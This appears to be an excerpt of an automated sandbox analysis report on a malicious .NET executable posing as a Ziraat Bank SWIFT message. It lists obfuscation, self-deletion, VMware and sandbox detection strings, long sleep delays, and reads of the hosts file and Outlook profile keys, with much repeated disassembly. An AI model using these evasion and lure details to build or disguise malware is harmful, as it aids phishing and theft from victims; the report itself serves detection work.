          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, rvdJXTHHMJjcnIgtsf/J5dcUKfIRNXI7lm7dD.csCryptographic APIs: 'CreateDecryptor'
          Source: C:\Windows\explorer.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Windows\explorer.exeFile read: C:\Windows\System32\drivers\etc\hostsJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll
          Source: C:\Windows\SysWOW64\systray.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
          Source: Binary string: wntdll.pdbUGP source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000006.00000003.323677233.00000000010BA000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000003.450849283.0000000000CEA000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000003.453208658.0000000004434000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000002.562757134.00000000045D0000.00000040.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000002.563719254.00000000046EF000.00000040.00000800.00020000.00000000.sdmp
          Source: Binary string: wntdll.pdb source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000006.00000002.451564221.0000000001250000.00000040.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000006.00000003.323677233.00000000010BA000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000003.450849283.0000000000CEA000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000003.453208658.0000000004434000.00000004.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000002.562757134.00000000045D0000.00000040.00000800.00020000.00000000.sdmp, systray.exe, 0000000A.00000002.563719254.00000000046EF000.00000040.00000800.00020000.00000000.sdmp
          Source: Binary string: bqbz.pdb source: Ziraat Bankasi Swift Mesaji20221129-34221.exe

          Data Obfuscation

          barindex
          .NET source code contains method to dynamically call methods (often used by packers)
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, rvdJXTHHMJjcnIgtsf/J5dcUKfIRNXI7lm7dD.cs.Net Code: stackVariable1.GetMethod("GetDelegateForFunctionPointer", V_0)
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_05493A68 push eax; retf
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 2_2_05FEAFB0 push esp; ret
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012CD0D1 push ecx; ret
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0042106C push eax; ret
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004210C2 push eax; ret
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004210B9 push eax; ret
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_00421123 push eax; ret
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004059B6 push cs; ret
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0040EA2F push eax; retf
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0041ABC4 push ss; iretd
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0041AD59 push esp; iretd
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004215D0 push esp; iretd
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_00419D81 push ebx; ret
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_00409EC0 push ds; ret
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004226F0 push dword ptr [65B62A56h]; ret
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_00419F6C push eax; ret
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004227C2 push es; ret
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_004057C5 push FFFFFFB8h; ret
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_00416FCD push ecx; retf
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exeStatic PE information: 0xE3C25DA2 [Thu Feb 1 10:59:46 2091 UTC]
          Source: initial sampleStatic PE information: section name: .text entropy: 7.8163399193374055
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, rvdJXTHHMJjcnIgtsf/YXRV9TApsNT67iKaBw.csHigh entropy of concatenated method names: '.ctor', 'uGOSjWMqNH', 'IBUSeSKhj0', 'X0kSZbN7xv', 'nMVSP6QvSa', 'tYCSx7Lt3j', 'nqGSidN1s5', 'AhESKnKTPM', 'XhDS1vn1UD', 'UuUSU6EiRK'
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, rvdJXTHHMJjcnIgtsf/jHvRSISRVtEBKE5hkd.csHigh entropy of concatenated method names: '.ctor', 'rvdHJXTHM', 'rjcSnIgts', 'oyHlvRSIR', 'TtEFBKE5h', 'YdhdWlURT', 'MXxbIEjbu', 'uq6A1227k', 'XSDcWsWCg', 'YyfEteKw6'
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, rvdJXTHHMJjcnIgtsf/oF02kT8jKxIU4FpGsQ.csHigh entropy of concatenated method names: '.ctor', 'j3vlzpxWek', 'gBpFB0lDdx', 'YUeFHVXI8m', 'G1MFSDMhol', 'xLrFlj4f52', 'nsEFFdvqCd', 'D15Fd8nxdi', 'LSTFbPIN6o', 'Fj2FAXAcwt'
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, rvdJXTHHMJjcnIgtsf/cU5CDJYi4Q3OdAemtw.csHigh entropy of concatenated method names: 'svudv70r1h', 'tESdaA9RQk', 'NoEdnQ0rkj', '.ctor', 'kLjw4iIsCLsZtxc4lksN0j', '.cctor', 'wBkaDOpCvpSenq9bIw', 'GLaTO2SeADNRU8BDMm', 'eN9e2th5TMYiSEOxoV', 'EvgPDRlqNgYjkkZXqo'
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, rvdJXTHHMJjcnIgtsf/J5dcUKfIRNXI7lm7dD.csHigh entropy of concatenated method names: '.cctor', 'J8v8c6oAg9DTf', 'h8iFgq2Epl', 'EHlFt9kOdO', 'LDNFRwCmFY', 'fATF592Wvm', 'y9yFTed8Pp', 'g6OFOM2F3k', 'T1xFs7w6U3', 'bKSFIga2hn'

          Hooking and other Techniques for Hiding and Protection

          barindex
          Deletes itself after installation
          Source: C:\Windows\SysWOW64\systray.exeFile deleted: c:\users\user\desktop\ziraat bankasi swift mesaji20221129-34221.exeJump to behavior
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information set: NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\systray.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\systray.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\systray.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\systray.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX
          Source: C:\Windows\SysWOW64\systray.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX

          Malware Analysis System Evasion

          barindex
          Yara detected AntiVM3
          Source: Yara matchFile source: 2.2.Ziraat Bankasi Swift Mesaji20221129-34221.exe.31854c4.1.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 2.2.Ziraat Bankasi Swift Mesaji20221129-34221.exe.3169a9c.0.raw.unpack, type: UNPACKEDPE
          Source: Yara matchFile source: 00000002.00000002.331328236.0000000003337000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000002.00000002.329721340.0000000003121000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: Ziraat Bankasi Swift Mesaji20221129-34221.exe PID: 3176, type: MEMORYSTR
          Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.331328236.0000000003337000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.329721340.0000000003121000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: SBIEDLL.DLL
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.331328236.0000000003337000.00000004.00000800.00020000.00000000.sdmp, Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.329721340.0000000003121000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: KERNEL32.DLL.WINE_GET_UNIX_FILE_NAME
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe TID: 4620Thread sleep time: -38122s >= -30000s
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe TID: 5324Thread sleep time: -922337203685477s >= -30000s
          Source: C:\Windows\explorer.exeLast function: Thread delayed
          Source: C:\Windows\SysWOW64\systray.exeLast function: Thread delayed
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01345BA5 rdtsc
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeThread delayed: delay time: 922337203685477
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeAPI coverage: 8.1 %
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess information queried: ProcessInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeThread delayed: delay time: 38122
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeThread delayed: delay time: 922337203685477
          Source: explorer.exe, 00000007.00000000.350388254.000000000830B000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
          Source: explorer.exe, 00000007.00000000.383069903.000000000834F000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&0000006
          Source: explorer.exe, 00000007.00000000.398658481.00000000059F0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}b
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.329721340.0000000003121000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: InstallPathJC:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
          Source: explorer.exe, 00000007.00000000.350827572.0000000008394000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.329721340.0000000003121000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmware
          Source: explorer.exe, 00000007.00000000.411917185.000000000CDC8000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: _VMware_SATA_CD00#5&
          Source: explorer.exe, 00000007.00000000.350388254.000000000830B000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&0000000
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.329721340.0000000003121000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMware SVGA II
          Source: Ziraat Bankasi Swift Mesaji20221129-34221.exe, 00000002.00000002.329721340.0000000003121000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: VMWAREDSOFTWARE\VMware, Inc.\VMware Tools
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01345BA5 rdtsc
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess token adjusted: Debug
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess token adjusted: Debug
          Source: C:\Windows\SysWOW64\systray.exeProcess token adjusted: Debug
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01294120 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01294120 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01294120 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01294120 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01294120 mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A513A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A513A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01279100 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01279100 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01279100 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127C962 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127B171 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127B171 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129B944 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129B944 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F69A6 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A61A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A61A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F51BE mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F51BE mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F51BE mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F51BE mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012999BF mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013349A4 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013349A4 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013349A4 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013349A4 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129C182 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AA185 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A2990 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127B1E1 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127B1E1 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127B1E1 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_013041E8 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128B02A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128B02A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128B02A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128B02A mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A002D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A002D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A002D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A002D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A002D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A830 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A830 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A830 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129A830 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01344015 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01344015 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F7016 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F7016 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F7016 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01332073 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01341074 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01290050 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01290050 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B90AF mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A20A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A20A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A20A0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A20A0 mov eax, dword ptr fs:[00000030h]
